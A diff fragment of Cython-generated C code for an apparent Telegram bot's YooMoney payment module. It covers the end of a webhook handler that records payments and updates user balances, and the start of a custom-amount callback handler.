} + #endif + { + PyObject *__pyx_callargs[4] = {__pyx_t_5, __pyx_cur_scope->__pyx_v_user_id, __pyx_t_8, __pyx_n_u_yoomoney_2}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 3+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 161, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_11); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_11; + __Pyx_XGIVEREF(__pyx_t_12); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_12; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L12_resume_from_await:; + __pyx_t_10 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_11 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_11); + __pyx_t_12 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_12); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 161, __pyx_L6_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 161, __pyx_L6_error) + } + } + + /* "handlers/payments/yoomoney_pay.py":162 + * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") + * await add_payment(user_id, amount, "yoomoney") + * await update_balance(user_id, amount) # <<<<<<<<<<<<<< + * await send_payment_success_notification(user_id, amount) + * except ValueError as e: + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 162, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_8 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 162, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_5 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_5, __pyx_cur_scope->__pyx_v_user_id, __pyx_t_8}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 162, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_11); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_11; + __Pyx_XGIVEREF(__pyx_t_12); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_12; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L13_resume_from_await:; + __pyx_t_10 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_11 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_11); + __pyx_t_12 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_12); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 162, __pyx_L6_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 162, __pyx_L6_error) + } + } + + /* "handlers/payments/yoomoney_pay.py":163 + * await add_payment(user_id, amount, "yoomoney") + * await update_balance(user_id, amount) + * await send_payment_success_notification(user_id, amount) # <<<<<<<<<<<<<< + * except ValueError as e: + * logger.error(f" user_id amount: {e}") + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_send_payment_success_notificatio); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 163, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_8 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 163, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_5 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_5, __pyx_cur_scope->__pyx_v_user_id, __pyx_t_8}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 163, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_11); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_11; + __Pyx_XGIVEREF(__pyx_t_12); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_12; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L14_resume_from_await:; + __pyx_t_10 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_11 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_11); + __pyx_t_12 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_12); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 163, __pyx_L6_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 163, __pyx_L6_error) + } + } + + /* "handlers/payments/yoomoney_pay.py":157 + * return web.Response(status=400) + * + * try: # <<<<<<<<<<<<<< + * user_id = int(user_id_str) + * amount = float(amount_str) + */ + } + __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + goto __pyx_L11_try_end; + __pyx_L6_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + + /* "handlers/payments/yoomoney_pay.py":164 + * await update_balance(user_id, amount) + * await send_payment_success_notification(user_id, amount) + * except ValueError as e: # <<<<<<<<<<<<<< + * logger.error(f" user_id amount: {e}") + * return web.Response(status=400) + */ + __pyx_t_14 = __Pyx_PyErr_ExceptionMatches(__pyx_builtin_ValueError); + if (__pyx_t_14) { + __Pyx_AddTraceback("handlers.payments.yoomoney_pay.yoomoney_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_2, &__pyx_t_1, &__pyx_t_8) < 0) __PYX_ERR(0, 164, __pyx_L8_except_error) + __Pyx_XGOTREF(__pyx_t_2); + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_XGOTREF(__pyx_t_8); + __Pyx_INCREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_e = __pyx_t_1; + /*try:*/ { + + /* "handlers/payments/yoomoney_pay.py":165 + * await send_payment_success_notification(user_id, amount) + * except ValueError as e: + * logger.error(f" user_id amount: {e}") # <<<<<<<<<<<<<< + * return web.Response(status=400) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 165, __pyx_L20_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_15 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_error); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 165, __pyx_L20_error) + __Pyx_GOTREF(__pyx_t_15); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 165, __pyx_L20_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_16 = __Pyx_PyUnicode_Concat(__pyx_kp_u_user_id_amount, __pyx_t_3); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 165, __pyx_L20_error) + __Pyx_GOTREF(__pyx_t_16); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_15))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_15); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_15); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_15, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_16}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_15, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 165, __pyx_L20_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + } + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/yoomoney_pay.py":166 + * except ValueError as e: + * logger.error(f" user_id amount: {e}") + * return web.Response(status=400) # <<<<<<<<<<<<<< + * + * return web.Response(status=200) + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_web); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 166, __pyx_L20_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_15 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_Response); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 166, __pyx_L20_error) + __Pyx_GOTREF(__pyx_t_15); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 166, __pyx_L20_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_status, __pyx_int_400) < 0) __PYX_ERR(0, 166, __pyx_L20_error) + __pyx_t_16 = __Pyx_PyObject_Call(__pyx_t_15, __pyx_empty_tuple, __pyx_t_5); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 166, __pyx_L20_error) + __Pyx_GOTREF(__pyx_t_16); + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_t_16); + __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + goto __pyx_L19_return; + } + + /* "handlers/payments/yoomoney_pay.py":164 + * await update_balance(user_id, amount) + * await send_payment_success_notification(user_id, amount) + * except ValueError as e: # <<<<<<<<<<<<<< + * logger.error(f" user_id amount: {e}") + * return web.Response(status=400) + */ + /*finally:*/ { + __pyx_L20_error:; + /*exception exit:*/{ + __Pyx_PyThreadState_assign + __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; __pyx_t_24 = 0; + __Pyx_XDECREF(__pyx_t_15); __pyx_t_15 = 0; + __Pyx_XDECREF(__pyx_t_16); __pyx_t_16 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_22, &__pyx_t_23, &__pyx_t_24); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_19, &__pyx_t_20, &__pyx_t_21) < 0)) __Pyx_ErrFetch(&__pyx_t_19, &__pyx_t_20, &__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_23); + __Pyx_XGOTREF(__pyx_t_24); + __pyx_t_14 = __pyx_lineno; __pyx_t_17 = __pyx_clineno; __pyx_t_18 = __pyx_filename; + { + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + } + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_XGIVEREF(__pyx_t_23); + __Pyx_XGIVEREF(__pyx_t_24); + __Pyx_ExceptionReset(__pyx_t_22, __pyx_t_23, __pyx_t_24); + } + __Pyx_XGIVEREF(__pyx_t_19); + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_ErrRestore(__pyx_t_19, __pyx_t_20, __pyx_t_21); + __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; __pyx_t_24 = 0; + __pyx_lineno = __pyx_t_14; __pyx_clineno = __pyx_t_17; __pyx_filename = __pyx_t_18; + goto __pyx_L8_except_error; + } + __pyx_L19_return: { + __Pyx_PyThreadState_assign + __pyx_t_24 = 0; __pyx_t_23 = 0; __pyx_t_22 = 0; __pyx_t_21 = 0; __pyx_t_20 = 0; __pyx_t_19 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_21, &__pyx_t_20, &__pyx_t_19); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_24, &__pyx_t_23, &__pyx_t_22) < 0)) __Pyx_ErrFetch(&__pyx_t_24, &__pyx_t_23, &__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_24); + __Pyx_XGOTREF(__pyx_t_23); + __Pyx_XGOTREF(__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_19); + __pyx_t_25 = __pyx_r; + __pyx_r = 0; + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + __pyx_r = __pyx_t_25; + __pyx_t_25 = 0; + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_XGIVEREF(__pyx_t_19); + __Pyx_ExceptionReset(__pyx_t_21, __pyx_t_20, __pyx_t_19); + } + __Pyx_XGIVEREF(__pyx_t_24); + __Pyx_XGIVEREF(__pyx_t_23); + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_ErrRestore(__pyx_t_24, __pyx_t_23, __pyx_t_22); + __pyx_t_24 = 0; __pyx_t_23 = 0; __pyx_t_22 = 0; __pyx_t_21 = 0; __pyx_t_20 = 0; __pyx_t_19 = 0; + goto __pyx_L9_except_return; + } + } + } + goto __pyx_L8_except_error; + + /* "handlers/payments/yoomoney_pay.py":157 + * return web.Response(status=400) + * + * try: # <<<<<<<<<<<<<< + * user_id = int(user_id_str) + * amount = float(amount_str) + */ + __pyx_L8_except_error:; + __Pyx_XGIVEREF(__pyx_t_10); + __Pyx_XGIVEREF(__pyx_t_11); + __Pyx_XGIVEREF(__pyx_t_12); + __Pyx_ExceptionReset(__pyx_t_10, __pyx_t_11, __pyx_t_12); + goto __pyx_L1_error; + __pyx_L9_except_return:; + __Pyx_XGIVEREF(__pyx_t_10); + __Pyx_XGIVEREF(__pyx_t_11); + __Pyx_XGIVEREF(__pyx_t_12); + __Pyx_ExceptionReset(__pyx_t_10, __pyx_t_11, __pyx_t_12); + goto __pyx_L0; + __pyx_L11_try_end:; + } + + /* "handlers/payments/yoomoney_pay.py":168 + * return web.Response(status=400) + * + * return web.Response(status=200) # <<<<<<<<<<<<<< + * + * + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_web); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 168, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_Response); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 168, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 168, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + if (PyDict_SetItem(__pyx_t_8, __pyx_n_s_status, __pyx_int_200) < 0) __PYX_ERR(0, 168, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_8); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 168, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + goto __pyx_L0; + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/yoomoney_pay.py":137 + * + * + * async def yoomoney_webhook(request: web.Request): # <<<<<<<<<<<<<< + * data = await request.post() + * logger.debug(f"Webhook event received: {data}") + */ + + /* function exit code */ + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_8); + __Pyx_XDECREF(__pyx_t_15); + __Pyx_XDECREF(__pyx_t_16); + __Pyx_AddTraceback("yoomoney_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_11generator3(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/yoomoney_pay.py":171 + * + * + * @router.callback_query(F.data == "enter_custom_amount_yoomoney") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_12yoomoney_pay_10process_enter_custom_amount(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_12yoomoney_pay_10process_enter_custom_amount = {"process_enter_custom_amount", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_12yoomoney_pay_10process_enter_custom_amount, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_12yoomoney_pay_10process_enter_custom_amount(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + PyObject *__pyx_v_state = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_enter_custom_amount (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,&__pyx_n_s_state,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 171, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 171, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_enter_custom_amount", 1, 2, 2, 1); __PYX_ERR(0, 171, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_enter_custom_amount") < 0)) __PYX_ERR(0, 171, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_callback_query = values[0]; + __pyx_v_state = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_enter_custom_amount", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 171, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.yoomoney_pay.process_enter_custom_amount", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_12yoomoney_pay_9process_enter_custom_amount(__pyx_self, __pyx_v_callback_query, __pyx_v_state); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_12yoomoney_pay_9process_enter_custom_amount(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state) { + struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_enter_custom_amount", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount *)__pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount(__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 171, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + 